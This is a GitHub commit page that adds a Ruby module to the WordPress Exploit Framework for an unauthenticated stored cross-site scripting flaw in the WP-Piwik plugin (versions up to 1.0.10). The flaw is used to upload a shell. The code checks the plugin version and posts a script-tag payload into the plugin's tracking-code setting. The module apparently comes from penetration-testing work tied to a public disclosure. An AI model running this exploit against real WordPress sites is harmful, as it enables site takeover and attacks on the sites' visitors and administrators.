Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 2188270

Browse files
committed
Add WP-Piwik XSS module
1 parent 8f890da commit 2188270

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
class Wpxf::Exploit::WpPiwikStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StoredXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP-Piwik <= 1.0.10 Unauthenticated Stored XSS Shell Upload',
9+
author: [
10+
'White Fir Design', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8613'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/08/29/persistent-cross-site-scripting-xss-vulnerability-in-wp-piwik/']
16+
],
17+
date: 'Sep 02 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-piwik', '1.0.11')
23+
end
24+
25+
def store_script
26+
execute_post_request(
27+
url: full_uri,
28+
body: {
29+
'wp-piwik[track_mode]' => 'manually',
30+
'wp-piwik[tracking_code]' => "<script>#{xss_include_script}</script>"
31+
}
32+
)
33+
end
34+
end

0 commit comments

Comments
 (0)